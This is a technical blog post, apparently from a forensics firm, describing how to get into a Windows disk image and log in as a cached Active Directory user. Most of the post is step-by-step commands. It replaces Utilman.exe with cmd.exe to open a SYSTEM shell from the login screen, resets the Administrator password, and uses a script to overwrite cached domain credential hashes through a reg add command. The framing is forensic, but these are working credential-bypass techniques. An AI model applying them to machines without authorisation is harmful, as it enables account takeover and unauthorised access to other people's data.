Skip to main content
Contact us: blog@ukatemi.com
TECHNICAL BLOG ukatemi.com

From disk image to offline windows AD account login

tl;dr #

  1. create a writeable overlay .qcow2 image backed by the read-only base image
  2. attach the disk with qemu-nbd
  3. mount the windows system partition
  4. replace Utilman.exe with cmd.exe
  5. copy SECURITY and SYSTEM registry hives from the mounted partition
  6. create a UEFI virtual machine using Virtual Machine Manager with the .qcow2 attached
  7. boot up the machine, click on the accessibility icon in the bottom right corner
  8. you get an Administrator shell, change the admin password with net user
  9. close the terminal and login with Administrator
  10. copy SysInternals to the machine and launch a cmd.exe with psexec in the name of user SYSTEM
  11. on the host machine execute mscache3.py acquire a reg command that resets the cached user password hash to a known value
  12. execute the reg command
  13. log out and login to the target account

Detailed Steps #

Acquiring files #

We received the following files:

-rwxr-xr-x 1 root root 256060514304 Aug 26 14:30  disk.001
-rwxr-xr-x 1 root root          465 Aug 26 14:30  disk.vmdk

The .vmdk just links to the flat file disk.001:

# disk.vmdk
# ---
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=...
parentCID=ffffffff
createType="monolithicFlat"

# Extent description
RW 500118192 FLAT "D:\disk.001" 0

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "31130"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "..."
ddb.uuid = "..."
ddb.virtualHWVersion = "7"

So actually we don't even need the .vmdk file because the disk.001 is just a byte-by-byte copy of the original disk. We could even rename it to .img, .dd, or .raw.

What we want to do is to create a new, writable disk image, backed by this read-only flat file, so only modifications are written to the new file. This is what .qcow2 is for:

# create a qcow2 formatted file backed by disk.001 raw image
qemu-img create -f qcow2 -b disk.001 -F raw disk-live.qcow2

Now we can attach this file to our system as a block device with qemu-nbd:

# load nbd module if no already loaded
modprobe nbd
qemu-nbd --connect /dev/nbd2 disk-live.qcow2
# lsblk
nbd2         43:64   0 238.5G  0 disk
├─nbd2p1     43:65   0   300M  0 part
├─nbd2p2     43:66   0   500M  0 part
├─nbd2p3     43:67   0   128M  0 part
├─nbd2p4     43:68   0 236.9G  0 part
└─nbd2p5     43:69   0   628M  0 part

Now we'd like to mount the the windows system partition (nbd2p4):

mkdir /mnt/tmp4
mount /dev/nbd2p4 /mnt/tmp4

Now we have acccess to the complete NTFS filesystem. What we'd like to do is overwrite Utilman.exe with cmd.exe:

cp /mnt/tmp4/Windows/System32/Utilman.exe{,.bak}
cp /mnt/tmp4/Windows/System32/{cmd.exe,Utilman.exe}

Also copy the SYSTEM and SECURITY registry hives cause we'll need them later:

cp /mnt/tmp4/Windows/System32/config/{SYSTEM,SECURITY} ./

Then detach the image:

umount /mnt/tmp4
qemu-nbd -d /dev/nbd2

Working with the VM #

I was using Virtual Machine Manager (aka virt-manager) to create and manage the VM as it was more convenient, but feel free to use virsh.

  1. Create a new virtual machine
  2. Select UEFI instead of BIOS.
  3. Add the disk.

Here is my config file: vm.xml

Now boot up the machine and after seeing the login screen click on accessiblity tools in the bottom right corner. A Command Propt should open. If you execure whoami, you should be NT AUTHORITY\SYSTEM.

Logged in as NT AUTHORITY\SYSTEM
Logged in as NT AUTHORITY\SYSTEM

By executing net accounts, you should see the minimal password length and other configurations. You can change the minimal password length to 2 with net accounts /minpwlen:2. Complex passwords are probably set by default which means at least 3 of the following characted classes are required: uppercase, lowercase, digits, special characters. Now we can change the administrator password with:

net user Administrator Admin123

Close the Command Prompt and login with Administrator and Admin123.

Logging in as offline AD user #

By default, Windows caches AD logins (for the last 10 accounts) so that the user can login to their machine even if the AD network is inaccessible. You can check this at the following registry key:

HKLM > SOFTWARE > Microsoft > Windows NT > CurrentVersion > Winlogon  ->  CachedLogonsCount = 10

This means that the login hashes are stored and compared offline. Can we change them to a known value? Yes, of course we can!

Login caches are stored in the SECURITY hive under HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$1 through NL$10, but they are obfuscated BLOBs. Obfuscated means that they are encrypted with the NL$KM key that can be queried from the SECURITY registry hive under: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NK$LM. Thankfully others have already done the reverse engineering so a python2 script is available: mscache.py But we have a python3 version: mscache3.py You can use it like this:

# list the cached entries
python3 ./mscache3.py --system ./SYSTEM --security ./SECURITY
# modify password for a user
# note that this doesn't change the hive files, only prints a reg command that you can use to change it
python3 ./mscache3.py --system ./SYSTEM --security ./SECURITY --user TargetUser --password Admin123!

For example the output reg command might look like this:

reg add "HKEY_LOCAL_MACHINE\SECURITY\Cache" /v "NL$2" /t REG_BINARY /d <REDACTED> /f

Now all you need to do is get a Command Prompt as NT AUTHORITY\SYSTEM and execute the output of mscache3.py:

PsExec.exe -s -i -d cmd.exe

Now you can log out and log back in with TargetUser and Admin123.

Want to message us? Contact us: blog@ukatemi.com